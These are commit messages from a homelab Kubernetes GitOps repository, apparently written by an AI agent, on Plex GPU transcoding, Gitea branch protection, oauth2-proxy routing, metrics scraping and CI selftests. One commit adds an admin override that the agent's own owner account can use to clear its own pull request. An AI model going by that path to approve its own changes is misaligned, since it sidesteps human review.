nothing.
2. An fd snapshot is not evidence. A /proc/*/fd sweep found no holder of
renderD128 while hardware transcoding was active -- sessions are short and the
scan landed in a gap. The reliable process-level check is the transcoder's
argv (-hwaccel, -hwaccel_device, vaapi, renderD128).
3. A missing preference key means nothing. `HardwareAcceleratedCodecs` was absent
from all 27 attributes with the toggle on and working, while
`HardwareDevicePath` was written and the log said "hardware transcoding:
enabled". Only `="0"` is conclusive; the log settles it.
Also stale and now fixed: GID 992 is a hostPath-era number. Under the plugin the
injected device is root:root, so the image's hook resolves GID 0 and adds `plex`
to the root group (`Groups: 0 100 1000`, `groups=1000(plex),0(root),100(users)`).
Marked as an inherent property of the plugin's DeviceSpec, not a defect, and
explicitly not a reason to reintroduce supplementalGroups (still a no-op --
s6-setuidgid rebuilds the group list from /etc/group). Added a per-title fallback
entry (UHD 630 has no AV1 decode), labelled a HYPOTHESIS: the title that fell
back was never checked. `runbooks/README.md`'s index entry was stale the same two
ways and is corrected.
Unchanged on purpose: the "STOP HERE IF PLEX IS Pending" section, the escape
hatch, and the no-alert-is-possible reasoning (no metricsEndpoint, no
ServiceMonitor, nothing a rule could evaluate).
Documentation only -- no catalog/, schemas/, apps/ or platform/ change.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
`required_approvals: 1` on `main` was a lock-out, not a protection. Gitea
refuses to let a PR's author approve their own PR, and `jakman85` is the only
collaborator — so no account in existence could approve a PR the operator
opened, including the PR that would fix that. Measured 2026-10-01 on PR #35:
gate green in 1m41s, reviews `[]`, `required_approvals: 1`, unmergeable.
It was never the documented design either: `ci/approval-policy.sh`'s header and
`ci/gate.sh:194` both already describe the model as "required_approvals drops
to 0 and the GATE decides", and `require-gate.sh`'s own closing note named this
failure and prescribed this remedy. 2026-09-30's entry flagged the 1-vs-0
disagreement as unresolved; this settles it at 0.
Layer 1 — branch protection. required_approvals 1 -> 0 in the declaration, plus
infra/gitea/allow-admin-self-merge.sh to apply it live (target read FROM the
declaration, so the script cannot drift from what the gate checks).
require-gate.sh moves to 0 too; left at 1 it would re-impose the lock-out on its
next run. The narrow choice is deliberate: the other way to unblock an owner is
block_admin_merge_override: false, which would re-open what
block-admin-override.sh was written to close (PRs #5-#9, zero approvals). This
drops the approval COUNT only — block_admin_merge_override and
enable_status_check stay true and are asserted after the PATCH, so a red gate
stays unmergeable by everyone, administrators included.
Layer 2 — ci/approval-policy.sh. Sensitive paths still need a non-author
approval the sole admin cannot get, so an administrator may waive it with an
`/approve-override <reason>` comment: directive must start a line, reason
mandatory, permission re-checked LIVE, invalidated by a new commit, and the
overrider + reason printed in the gate log and job summary. Candidate selection
is the pure, offline ci/approval-override.py (23 unit assertions, all passing);
authorisation stays in the fail-closed stage. Every new failure mode blocks.
The cost, stated not buried: for an administrator, "a change to the gate cannot
be gated by the gate" is now advisory rather than structural. Unavoidable with
one human; what is bought back is an attributed, commit-scoped record instead of
a silent bypass. And the uncomfortable part, accepted as an operator decision:
authorisation is by live permission alone, and the AGENT account `gitea-admin`
also holds `owner` — so an agent can clear its own PR this way. Documented in
approval-policy.json, the stage header, and CLAUDE.md (which tells agents not
to). Narrowing needs no code change: add `override_admins` and the stage already
requires membership.
Adjacent fix, in scope because `make -C ci test` is the only runner for the
suite added here: ci/tests/gate-decision.test.sh hand-maintained a stub list
that "must name EVERY stage gate.sh runs" and omitted `approval-policy` (added
to gate.sh by PR #17), so run_stage hit exit 127 and 15 of 50 assertions failed.
Verified pre-existing on pristine origin/main @ 0c7e8dd. The list is now derived
from gate.sh's own run_stage lines, so the omission cannot recur; the suite goes
15-failed -> 50 passing and `make -C ci test` goes FAILED -> all suites passed.
Toolbox gate: rc 3 UNDETERMINED — every stage green except `gitea-settings`
(no SETTINGS_API_TOKEN locally) and `conformance` (no cluster). NOT a green run.
The live rule is UNCHANGED and still reads 1 — mutating it is an operator
action. Until allow-admin-self-merge.sh is run, ci/gitea-settings.sh will
correctly report DRIFT and this PR will be red.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The hostPath mechanism was MEASURED NOT TO WORK. In the live Plex pod on
k3s-prod-2, 2026-10-01: the device node was VISIBLE in the container
(`crw-rw---- root video2 226,128 renderD128`) and could not be opened --
`uid 0 O_RDWR -> EPERM` and `uid 1000 O_RDWR -> EPERM`. EPERM from the DEVICE
CGROUP, not EACCES from file permissions, proven three ways: root on the HOST
opens the same device rc=0; the node is unified cgroup2fs; and the container's
runc config.json read `linux.resources.devices: [{allow: False, access: 'rwm'}]`
with `linux.devices: None` -- one deny-all rule, no allow entry for major 226.
A hostPath is a filesystem operation: it binds the device node in but adds no
cgroup allow rule, because Kubernetes cannot infer one from a volume.
The Intel GPU device plugin produces that allow rule
(`createDeviceSpecsFromDrmFiles` emits `DeviceSpec{..., Permissions: "rw"}`).
It shipped as #36 and is live: all three prod nodes advertise
`gpu.intel.com/i915: 1`, DaemonSet 3/3/3 (measured 2026-10-01).
ZERO ServiceDefinition field changes, which was the entire point of making the
field an enum of capability classes rather than a device path. `catalog/plex.yaml`'s
`hardware:` block comes through byte-identical; only its comment changes, because
it restated the old mechanism. Contract invariant 8 holds, now demonstrated rather
than claimed.
- catalog/render.py: `DRI_VOLUME_NAME`/`DRI_DEVICE_DIR` retired for
`QUICKSYNC_RESOURCE`; the hardware branch now sets
`resources.limits["gpu.intel.com/i915"] = 1` on the APP container only (never a
sidecar) and emits no volume, no mount, no securityContext, no nodeSelector.
`limits` not `requests` is mandatory: Kubernetes mirrors requests from limits,
and a requests-only extended resource is invalid. This is the only app-container
`resources` render path and is deliberately narrow -- no general CPU/memory
feature was invented.
- selftests: resources dict asserted EXACTLY; hostPath/mount asserted ABSENT; the
no-`hardware` negative extended to `resources`; the podSecurityContext
pass-through and the no-synthesised-securityContext assertions kept; one new
assertion that the limit never reaches the oauth2-proxy sidecar. Mutation-tested:
8/8 mutants caught (requests-instead-of-limits, emission dropped, hostPath
re-added, emitted unconditionally, supplementalGroups synthesised, wrong resource
name, quantity as a string, limit leaked onto the sidecar).
- apps/wave-0/plex.yaml: six hostPath lines removed, a three-line resources block
added. Only golden touched; keycloak/vm-demo unchanged.
THE REGRESSION, STATED RATHER THAN SOLD. Before: device missing ->
`DirectoryOrCreate` mounted an empty dir -> Plex ran and SILENTLY
software-transcoded (invisible, harmless to everything else). After: resource
unavailable (plugin broken, removed, or not yet reconciled) -> Plex is
UNSCHEDULABLE, and `apps-wave-0` is `wait: true` with `apps-wave-1` dependsOn it,
so that STALLS THE APP TIER. Unavoidable: an extended resource is a hard
scheduling constraint, and it is also the only thing that produces the cgroup
allow rule. There is no graceful-degradation variant. Plex's schedulability is now
coupled to the intel-gpu-plugin DaemonSet. Escape hatch, one field and no code
change: delete the `hardware:` block from catalog/plex.yaml and re-render.
Documented in the contract, the runbook (its own top-of-page section and a
"Plex will not schedule" procedure) and the handoff.
HARDWARE TRANSCODING IS STILL NOT OBSERVED WORKING. The decisive open() test
cannot be re-run until this merges and Flux reconciles, and the Plex-side
`HardwareAcceleratedCodecs` toggle is still unset. A green gate proves the
manifest renders.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Follow-up to the branch's one substantive commit; no code change.
CI on 99560c2d, read from the commit's /statuses rather than from a tick:
gate / gate (pull_request) state=failure desc='Failing after 1m44s'
gate / conformance (pull_request) state=pending desc='Blocked by required conditions'
The second line is PENDING, not the `success` + "Has been skipped" trap -- the
conformance job is gated on the gate job, which failed, so it never ran.
MY LOCAL `approval-policy: green` WAS MEANINGLESS AND I NEARLY REPORTED IT AS
EVIDENCE. ci/approval-policy.sh:47 reads GITHUB_EVENT_NAME, unset outside CI, so
it short-circuits to "N/A": a clean local gate STRUCTURALLY cannot catch a
sensitive-path problem. Verified by re-running with
GITHUB_EVENT_NAME=pull_request PR_NUMBER=34, where the stage evaluates and fails
CLOSED on the missing token while every other stage stays green -- which bounds
the CI failure to that one stage. I could NOT read CI's job log to confirm it
from CI's own output: this Gitea answers 404 on /actions/runs and on
/actions/jobs/{task}/logs, so only /actions/tasks is available. Attribution
therefore rests on the local reproduction plus the sensitive-path rule, not on
CI's log -- weaker evidence than PR #28 had, named rather than papered over.
Branch protection and the runner re-measured against the live API (CLAUDE.md
2b), not inherited from the CLAUDE.md table: protected=True,
user_can_push=False, enable_status_check=True, contexts=['gate / gate
(pull_request)'], required_approvals=1; runner id=1 incluster-dind online. So a
human is required on every PR here regardless of path. I did NOT provoke a
rejected push to main, so user_can_push is the API's word only.
DECLINED, with reasons: bundling Ines Dubois's metrics-ingress NetworkPolicy.
The coordinator asked for my judgement and the answer is to queue it as the next
PR, not to drop it. Principally because it is a MODEL question, not a policy to
bolt on: schema 1.6.0's observability.metricsEndpoint already renders the
monitoring-namespace ingress allow, and what the model cannot express is a
SECOND metrics endpoint belonging to a sidecar the RENDERER injected. Keying a
bespoke policy off the pod label auth-mode=forward-auth hardcodes "forward-auth
implies 44180" instead of deriving it -- the "list, don't derive" anti-pattern
oauth2-proxy-cookie-names-distinct assertion (5) forbids, one directory from the
check that forbids it. Also: it is a trust-boundary ingress allow and a
different requirement set (R-NET-01/02, R-OBS-01 vs R-IDP-02), so it should not
be reviewed in the shadow of an --api-route headline; the conflict argument does
not apply to my diff, which regenerates TWO goldens not five, and a
CiliumNetworkPolicy is a different document in files git merges independently;
every fact in the finding is hers and I have measured none of it; and the
PodMonitor it serves is in HER PR #29, so shipping the policy alone would open
an ingress allow for a scraper that selects nothing.
Also records that the sidecars' metrics remain UNSCRAPABLE and that this branch
does not change that.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Makes the three prod nodes advertise `gpu.intel.com/i915`. This is the measured
fix for the Plex hardware-transcoding blocker, and it only makes the resource
EXIST — no consumer is switched over here.
WHY. The `/dev/dri` hostPath merged on main @ cdf3e14 makes the device node
visible and not openable. Measured in the running pod on k3s-prod-2:
uid 0, O_RDWR -> EPERM "Operation not permitted"
uid 1000, O_RDWR -> EPERM "Operation not permitted"
EPERM from the device cgroup, not EACCES from file permissions — root on the
HOST opens the same device rc=0, the node is unified cgroup2fs, and the
container's runc config.json carries one deny-all rule with `linux.devices:
None`. A hostPath is a filesystem operation: it makes the device node appear
and adds no cgroup allow rule, because Kubernetes cannot infer one from a
volume. A device plugin's Allocate response is what makes kubelet populate
`linux.devices` AND the matching cgroup allow rule — verified in the v0.37.0
source, which emits `DeviceSpec{HostPath, ContainerPath, Permissions: "rw"}`
per DRM node. It is the only non-privileged way to get there; `privileged:
true` is blocked by Kyverno restrict-host-namespaces under Enforce in app
namespaces, and `plex` is labelled app-namespace=true.
PLACEMENT: its own Kustomization (dependsOn cilium, wait:true), not a line in
platform/kustomization.yaml. The shared tier was cheaper and needed no human
reviewer on approval-policy.json's terms, but it is wait:true over eleven-plus
components and the repo already argued this when Cilium was split out: its
Ready condition cannot tell "the plugin is wedged" from "longhorn is slow", the
only emergency valve is freezing the whole tier, and the tier's 10m/5m
interval/timeout are called out there as wrong for a 3-node DaemonSet rollout —
which is exactly what this is. Worse here than average: platform gates
platform-config gates apps-wave-0 (wait:true) gates apps-wave-1, so a plugin
that never went healthy inside it would stall every app — a component added to
fix a silent no-op would have gained the power to cause a real outage.
Touching clusters/** costs nothing extra: required_approvals:1 with
block_admin_merge_override:true applies to every PR here regardless of path.
wait:true is a health SIGNAL, not a gate — nothing in the rendered graph
dependsOn this, so it gates nothing, while making `flux get kustomization
intel-gpu-plugin` answer "did it come up on all three nodes".
NON-CHOICES, each argued in the README: standalone DaemonSet over the operator
(no CRD, controller-manager, webhook or second namespace to keep healthy);
`--shared-dev-num` left at the upstream default of 1 (a higher count is a lie
the scheduler believes — no GPU-side partitioning backs it, so it converts a
loud Unschedulable into a quiet "transcodes are slow"); `--health-management`
left OFF, the one flag that would open a device and reintroduce this EPERM; no
NFD overlay (all three nodes identical); no supplementalGroups (the pms-docker
cont-init hook already adds `plex` to each device's group, measured live as
Groups: 44 100 992 1000).
The DaemonSet is vendored as `kubectl kustomize` output of upstream v0.37.0's
gpu_plugin/base, rather than referenced as a remote kustomize base, for the
reason external-snapshotter records: a remote base is git-fetched on every
reconcile and those fetches have flaked a whole tier. It is generated rather
than byte-copied because upstream mixes YAML sequence-indentation styles within
the one document and ci/yamllint.yaml sets `indent-sequences: consistent`, so a
verbatim copy is a hard lint ERROR — measured, not guessed: the first gate run
of this branch returned rc 1 BLOCKED on exactly that. The transform is proven
formatting-only (`yq -P 'sort_keys(..)'` of both diffs clean). Image pinned to
docker.io/intel/intel-gpu-plugin:0.37.0 (digest verified present:
sha256:7001200071db10587fc31184eedda4f5cf291efba737adf85a8c80539f7fa5e1).
ORDERING — DO NOT REORDER. catalog/render.py, catalog/plex.yaml and
apps/wave-0/plex.yaml are untouched. The renderer change that emits
`gpu.intel.com/i915: 1` instead of the hostPath must NOT land until this plugin
is merged AND confirmed advertising the resource on all three nodes: a request
for a resource no node advertises makes the Plex pod Unschedulable, and
apps-wave-0 is wait:true with apps-wave-1 depending on it.
VERIFIED: manifests render offline (component, clusters/base, both overlays);
no node currently advertises gpu.intel.com/* (queried — "NONE"); the plugin
only lists/stats devices and never opens one (no os.Open/OpenFile/ioctl/syscall
anywhere in its 908-line source); all four app-scoped Kyverno policies are
gated on app-namespace=true and the new namespace is labelled "false".
NOT VERIFIED: anything runtime. The plugin has never executed, the resource has
never been advertised, and the open() test has not been re-run. Gate returned
rc 3 (UNDETERMINED) with exactly the three expected skips — not green.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The gate job reported failure while the local run was rc 3 with nothing failed. Measured
cause is a single sensitive path (the KNOWN_EXTERNAL_MONITORS entry) with no non-author
approving review, which ci/approval-policy.sh blocks fail-closed by design.
Also records the general trap: approval-policy short-circuits to N/A off a pull_request
event, so a clean LOCAL gate is a false reassurance for any branch touching a sensitive
path. Only the PR run tells the truth.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
PR #28 fixed the cookie collision, the 5-minute session and the missing metrics
listener in one renderer function, and deliberately declined `--api-route`
because the config model could not express the difference between two apps.
This adds the hook it was missing and sets the flag only where a measurement
says to.
THE DEFECT. oauth2-proxy answers an unauthenticated request with a 302 to
Keycloak. Its AJAX guard would send 401 instead, but it fires only on an EXACT
`Accept: application/json`, which these apps' JavaScript does not consistently
send. So a browser XHR gets a 302, FOLLOWS IT INVISIBLY, has it satisfied
silently by the live SSO session, and resolves 200 carrying the app's HTML where
the JavaScript expected JSON. On a write it is worse: a browser following a 302
re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
discarded and the UI reports success.
MEASURED, on two apps and two different paths -- which is the whole argument:
jackett 2026-09-30: 33 x 302 vs 2 x 401 on /api/ paths, and 4 of 6 POSTs
answered by the proxy and never reaching Jackett (upstream `-`).
radarr 2026-10-01, 23h after PR #28 deployed (pod radarr-7d55cbffb9-42hmh,
0 restarts): 232 unauthenticated requests in the pod's whole life and
ALL 232 are the same call -- POST /signalr/messages/negotiate from a
browser, 302, upstream `-`. A left-open tab whose session the cookie
rename orphaned, polling forever, silently redirected every time and
NEVER re-prompting. The reported symptom, still in production.
So radarr's broken path is /signalr/ and jackett's is /api/, and PIHOLE SERVES
NO /api/ AT ALL. One function renders all five sidecars, so the cheap fix is a
constant -- and a constant applies one app's measurement to four apps nobody
measured. `auth` was `additionalProperties: false`, so there was no per-app
hook. Adding one named, documented key is the change; the block stays closed.
schemas/servicedefinition.schema.json 1.8.0 -> 1.9.0: optional
`auth.apiRoutes`, a list (radarr needs two, and --api-route is natively
repeatable) of anchored path regexes. Plus the shape invariant that a
non-empty list requires mode: forward-auth, since no sidecar is rendered
for oidc/native/none and declaring it there would be a SILENT NO-OP.
catalog/render.py emits one --api-route per entry, in order, and RAISES on
an unanchored entry. The flag is SINGULAR -- verified against the pinned
v7.8.1 binary's own --help; --api-routes does not exist and the proxy
refuses to start with it.
catalog/{jackett,radarr}.yaml the two measured apps.
catalog/{pihole,sonarr,qbittorrent}.yaml comments recording that they get
NOTHING, and why. Sonarr and qBittorrent were measured (0 unauthenticated
requests in 23h) and left alone: that is evidence of no TRAFFIC, not of no
need, and sonarr being nearly radarr's codebase is what makes the guess
tempting and still a guess.
apps/wave-0/jackett.yaml, apps/wave-1/radarr.yaml regenerated. Only TWO
goldens change; pihole/qbittorrent/sonarr are byte-identical to main,
which is the per-app property proving itself on the real tree.
BREADTH IS THE DANGEROUS DIRECTION AND IT IS NOT SYMMETRIC. A missing
--api-route is a silent 302. A too-broad one answers a plain PAGE LOAD with
401, so a logged-out operator gets a bare error page and is never offered a
sign-in -- the service looks permanently broken. Each entry must therefore
match `^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$`: anchored at ^/ then literal path
characters. `^/`, `^/.*`, `.*`, `/api/` and `^/api/|^/` are all rejected, all
five provoked. Alternation is refused rather than supported because the flag is
repeatable, so one entry per route costs nothing.
NEW GATE CHECK: conformance/tests/l0-static/oauth2-proxy-api-routes-per-app
(whole-repo scope, so ci/l0.sh's --include-scope union runs it on every
invocation; no bespoke stage, which whole-repo-invariants-wired would fail).
It is a SIBLING of oauth2-proxy-cookie-names-distinct, not an extension of it:
that check's subject is cookie IDENTITY and shares neither inputs nor failure
mode with this, so bundling them would make its name a lie and let a future
api-route decision be expressed only by weakening a COOKIE check.
The check exists for one reason the other gates cannot cover: render-golden
compares the render to the goldens, so a RENDERER CONSTANT plus regenerated
goldens AGREE WITH EACH OTHER while both being wrong. Provoked: the regen exits
0 -- render-golden is happy -- and this check exits 1 with 15 failures naming
pihole, qbittorrent, radarr and sonarr individually. It also asserts the
anchoring pattern is the SAME in the schema and the renderer, because three
surfaces guard this and if they drift the loosest wins silently.
Tested in both directions on throwaway trees outside the repo: compliant tree
rc 0 / 43 assertions / 6 sidecars; pre-change tree rc 1 / 11 failures; and four
targeted mutations (hand-edited golden, widened regex, renderer constant,
deleted schema pattern) each firing their own assertion class and nothing else.
ALSO FOLDED IN (coordinator's request; defect is in the file I own). _selftest()
reached _cookie_name() through a bare `next(genexpr)` with NO default, so
deleting the --cookie-name emission -- the exact mutation that assertion exists
to catch -- raised StopIteration, which escaped _selftest() BEFORE its collected
`SELFTEST FAIL:` lines were printed. Right verdict, zero diagnostics, and it
masked every other assertion the same mutation broke (found by Desmond Oyelaran
while wiring the selftest into the render-golden stage; his PR #33 is not in this
base -- origin/main @ cdf3e14 drives the selftest from no stage, checked). Fixed
with `next(..., None)` plus an explicit check(), so a missing flag reports as a
NAMED assertion. Provoking it exposed three more instances of the same class in
the same block -- `side = fa_containers[1]`, `side["env"][0]`, and the fa_svc
lookup all raise rather than assert when the sidecar is absent -- so all four are
now None-tolerant, and the two fixtures added for --api-route were written that
way from the start. Measured on throwaway copies:
--cookie-name deleted: before rc 1 / 0 FAIL lines / StopIteration
after rc 1 / 3 FAIL lines / no traceback
sidecar not appended: before rc 1 / 0 FAIL lines / IndexError
after rc 1 / 20 FAIL lines / no traceback
Goldens are unchanged by this part; it touches _selftest() only.
NOT verified, in full in the handoff entry: no browser round-trip by anyone for
this flag -- that a 401 REPAIRS the operator's experience is reasoned from HTTP
semantics, not watched. `^/api/` on radarr is PR #30's measurement of radarr's
pre-fix pod, not mine; the current pod has zero /api/ traffic. Sonarr and
qBittorrent are UNMEASURED, not cleared. --cookie-refresh is still unexercised
(0 AuthSuccess on all five pods). Nothing was applied; the live pods are still
the pre-change spec.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
PR #28 gave the five fleet oauth2-proxy sidecars --metrics-address=0.0.0.0:44180 and a
named `metrics` port. This wires a scraper to them and, in the process, found a real bug
in the alert this branch added.
PodMonitor, not ServiceMonitor. Measured: no Service exposes 44180 on any of the five
(jackett/radarr/sonarr/qbittorrent/pihole all publish only their app port + authproxy
4180), so a ServiceMonitor would select nothing. A PodMonitor targets pod ports directly
and needs no change to catalog/render.py or the apps/wave-* renders and goldens.
Selector is the pod label homelab.keithjackson.dev/auth-mode=forward-auth — present on
exactly those five gate pods, absent from crafty's, which still has no metrics listener.
The property, not an app list.
THE BUG: `up{container="oauth2-proxy"}` -> `up{container="oauth2-proxy"} == 1`.
A target that is discovered but FAILING still publishes `up`, with value 0. The series
exists, so count by (namespace) returned 1, `unless` removed the namespace, and
OAuth2ProxyGateUnobserved went QUIET while nothing was being scraped at all — this
branch's own disease reproduced inside the alert written to cure it. Not hypothetical:
the PodMonitor lands five targets whose scrape is dropped, so the bare form would have
silently cleared on this very commit. Proven by mutation: reverting the `== 1` fails the
two new unit-test scenarios (got: nil) and leaves every other assertion green.
The scrape does NOT work yet, and that is documented rather than papered over. From a
pod in ns monitoring to the jackett pod, :44180 AND :4180 both time out; the shared
proxy's :44180 answers. ns jackett's default-deny is podSelector:{} with
policyTypes:[Ingress,Egress] and NO ingress key (deny-all), and the one allowance is
fromEntities:[ingress] to 4180 — the Gateway's Envoy only. The endpoint itself is
healthy: port-forwarded, /metrics returns http=200, 10208 bytes, all three oauth2_proxy_*
families including requests_total{code="302"}. Same bug and fingerprint as
platform/longhorn/networkpolicy-metrics.yaml records for Longhorn; the fix is one narrow
rule per app, and it cannot ship from this tier because oauth2-proxy and apps-wave-0 are
Flux SIBLINGS (both dependsOn platform-config), so naming ns jackett here would apply
today and fail on a cold rebuild. Needs an owner in the renderer.
Touches conformance/** : one KNOWN_EXTERNAL_MONITORS entry, which is the mechanism the
failing check explicitly instructs ("DECLARE it ... with who creates it") and which
flux-podmonitor.yaml already uses. It records that the port name was measured on prod
instead of resolved from a Service, and that the targets are currently down. That makes
this PR require a non-author review on the sensitive-path rule.
Also: ratio alert still NOT shipped. oauth2_proxy_requests_total now exists on the
endpoint but not in the TSDB, so writing it today would make it inert for exactly the
reason it was refused on 2026-09-30. Runbook gains policy-vs-no-target triage and the
radarr /signalr/messages/negotiate worked case — one orphaned browser tab, 206 identical
302s, nobody ever re-prompted.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
`catalog/render.py --selftest` executes 106 assertions on the renderer's output
contract. Nothing in ci/ or .gitea/ had ever invoked it — grepped and confirmed —
so all 106 were dev-time only, and the merge gate could not tell a sound renderer
from a gutted one. Recorded as the top follow-up of
decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md.
`ci/render-golden.sh` now runs it and exits 1 when it fails. One file, six lines
of invocation; the rest is the rationale comment.
WHY HERE. The lead was auditability-proofs-producible/check.sh:291, which drives
conformance/lib/{record_run,status}.py --selftest "because nothing else drives
them". That is the wrong hook: the check serves R-SEC-03 and its subject is the
evidence chain — can a forged or stale run become an audit proof? The renderer is
not in that chain, and hanging it there would make the check's name, its intent
annotation and its requirement mapping untrue. This stage's subject already IS
catalog/render.py, so the renderer's own contract test belongs in it.
The two assertions are independent, and that is the point: render-golden catches
golden-vs-renderer drift but is satisfied by ANY renderer whose output was
re-rendered — including one that just lost a contract invariant and had all ten
goldens regenerated in the same commit. That is precisely the hole the follow-up
named. The selftest catches it; render-golden cannot.
It runs before the empty-catalog exit 3 because the selftest renders synthetic
ServiceDefinitions in memory and is catalog-independent — an empty catalog must
not be able to skip it. Failure is a hard rc 1, never a skip: the renderer is
source in this repo, so once python3 and render.py are both present (asserted
above it) there is no legitimate environmental cause for "could not run".
PROVEN TO FAIL, not merely to pass. Against mutated COPIES of the renderer via
the stage's existing RENDER_PY override, so catalog/render.py — another branch's
file this session — was never touched:
* deleting the --cookie-name emission (reverting PR #28's fleet-wide cookie
fix) -> stage rc 1;
* OAUTH2_COOKIE_REFRESH 2m30s -> 10m -> stage rc 1 with the named assertion
"parses to 600.0s, which is not inside (0, 300s)" — one of the two flags the
cookie entry recorded as UNGATED, and one render-golden's diff would miss.
AND PROVEN TO PROPAGATE, in the pinned toolbox: selftest rc 1 -> stage
render-golden FAIL -> `MERGE GATE: BLOCKED`, gate.sh rc 1. Worth provoking: this
repo flattens exit codes, and .gitea/workflows/gate.yml:138 runs
`./ci/gate.sh || [ "$?" -eq 3 ]`, so a failure degraded to a skip would be
swallowed by CI.
render.py itself is unchanged. No conformance/ path is touched, no gate stage is
added, nothing is deployed by this.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The runbooks/README.md conflict was two index entries appended at the
same point, not a semantic one. Both kept, in the file's grouped order.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Plex has been transcoding in software on hardware that can do it in the iGPU. This
opts its ServiceDefinition into the `hardware` capability from #27 and re-renders.
catalog/plex.yaml gains four lines of YAML and the comment that explains them:
hardware:
gpu: intel-quicksync
which renders exactly two things into apps/wave-0/plex.yaml and nothing else — a
`dri` hostPath volume (/dev/dri, type: DirectoryOrCreate) and a read-write /dev/dri
volumeMount on the app container. Whole-tree render diff: 6 added lines, one file.
The comment records what is not obvious from the four lines: the device exists on
ALL THREE prod nodes with i915 bound (so no nodeSelector is rendered and none is
wanted); why `supplementalGroups` would be INERT rather than a hardening (the
image's cont-init hook adds the plex user to the device's group inside the
container, and s6-setuidgid then REPLACES the process group list from /etc/group,
discarding anything Kubernetes supplied); and why `DirectoryOrCreate` is
load-bearing (apps-wave-0 is wait:true with apps-wave-1 depending on it, so a
failed mount would stall the whole app tier for a feature that is not).
THE FEATURE IS INERT UNTIL A HUMAN CLICKS A BOX, and that is the part this commit
is really about. Mounting the device does not enable hardware transcoding; Plex's
`HardwareAcceleratedCodecs` preference does, and it is ABSENT from Preferences.xml
— the toggle has never been on. It cannot be automated: a bounded grep across the
running image's entire init surface (/etc/cont-init.d, /etc/services.d,
/etc/fix-attrs.d, /plex-common.sh, /usr/local/bin) found ZERO PLEX_PREFERENCE*
support, and the six setPref keys the image does write are all unrelated. So
runbooks/plex-quicksync.md is the procedure, registered in the configMapGenerator
(a runbook in git with no generator entry is reviewed, merged, and still a 404) and
indexed in runbooks/README.md. It covers the GitOps/manual boundary, the toggle and
the real preference keys (including the widely-cited one that does not exist and
the upstream misspelling nobody should "fix"), verification via `Transcode (hw)` on
the Plex dashboard — stated plainly as the ONLY proof, because Plex renders no
ServiceMonitor and an alert could never fire — the device-cgroup failure to expect
first with its Intel-device-plugin fallback, and the floating-`:latest` caveat.
Stacked on #27 (feat/sd-hardware-capability), which is open and unmerged; that
branch's commit is in this range by design and this must merge after it.
NOT VERIFIED, and the handoff says so at length: hardware transcoding has not been
observed working. Whether containerd's device cgroup lets a non-privileged pod
open() a bind-mounted char device is an open question that only deploying settles,
and the Plex-side toggle was still unset at the time of writing. A green gate
proves the manifest renders; it proves nothing about transcoding.
Gate (pinned toolbox, worktree): rc 3 — UNDETERMINED, not green. Passed:
decisions-log, lint, l0, render-golden, l1, approval-policy. Skipped (the known
local ceiling): spec-immutability (no sibling spec repo), gitea-settings (no
SETTINGS_API_TOKEN), conformance (CLUSTER_AVAILABLE unset, so L2/L3 did not run).
No fourth skip, nothing failed.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The render.py conflict was textual adjacency with PR #28's constants
block, not a semantic one. Both sides kept.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
A ServiceDefinition could not say it needs the host's Intel QuickSync render
device. The schema is `additionalProperties: false`, so there was no authorable
form for it at all, and `apps/` is generated — a hand-edit would be reverted by
the next render.
Adds optional top-level `hardware`, with one optional member `gpu`, an enum
whose only current value is `intel-quicksync` (schema 1.7.0 -> 1.8.0).
The enum is the point. The SD declares WHAT CLASS of device it needs; the
hostPath and the mount live only in catalog/render.py. Migrating to the Intel
GPU device plugin (`gpu.intel.com/i915` resource requests, no hostPath) is then
a renderer change with zero catalog edits. Letting an SD name `/dev/dri`
directly would look simpler and make that migration a catalog-wide edit, so
both the schema description and the renderer contract say so explicitly.
When `hardware.gpu == intel-quicksync`, r_deployment emits exactly two things,
on the app container only:
- a hostPath volume `dri` -> /dev/dri, type DirectoryOrCreate;
- a read-write volumeMount of it at /dev/dri (VA-API opens the render node
read-write, so deliberately not readOnly).
Mounting the device is sufficient. In particular NO
podSecurityContext.supplementalGroups is emitted, and adding one would be a
regression rather than a hardening. Measured in the running container on
prod-2, 2026-09-30:
PID 1 s6-svscan Uid: 0 Gid: 0 Groups: 0
pid 246 Plex Media Server Uid: 1000 Gid: 1000 Groups: 100 1000
The service is started with `exec s6-setuidgid plex ...`, and the child's group
list is exactly the /etc/group account-database list — root's gid 0, which
PID 1 holds, is gone. That is a setgroups() that REPLACES rather than appends,
so anything Kubernetes supplies is discarded before the app starts. What works
is the image's own /etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner,
which stats each /dev/dri char device, groupadds a matching group inside the
container and usermods the app user into it, every start, nothing hardcoded.
An inert supplementalGroups would have read as the mechanism to whoever
debugged this next, so the absence is documented at the emission site and
asserted by --selftest. Corollary: the hook re-stats on every start, so host
GID drift is self-healing and no GID is pinned anywhere in this repo.
`DirectoryOrCreate` is load-bearing. A node that comes back without the render
device (rebuild, BIOS change, driver regression, hardware swap) must degrade
the workload to software transcoding, not fail the mount: apps-wave-0 is
`wait: true` and apps-wave-1 dependsOn it, so a failed hostPath mount stalls
the whole app tier for a feature that is not load-bearing. /dev is tmpfs, so
the empty directory the kubelet creates leaves nothing durable behind. Its cost
— a missing device is silent, and no metric exists to alert on — is recorded in
the contract rather than papered over with an alert that could not fire.
Also deliberately NOT emitted: no `privileged: true` (Kyverno restrict-host-
namespaces is Enforce and it is not needed), no nodeSelector (placement is a
separate concern with its own justification), no resource requests (there is no
app-container resource render path).
No catalog entry uses the field. Re-rendering `--all catalog -o apps` is a zero
diff, which is the proof the change is inert until opted into.
Self-tests in the existing check(...) style: the positive (volume + mount, and
no securityContext / privileged / nodeSelector), the negative (an SD without
`hardware` gains no volume, no mount, no securityContext — mirroring the
podSecurityContext negative) and a pass-through case (an SD's own
podSecurityContext survives byte-for-byte). Note that NO gate stage runs
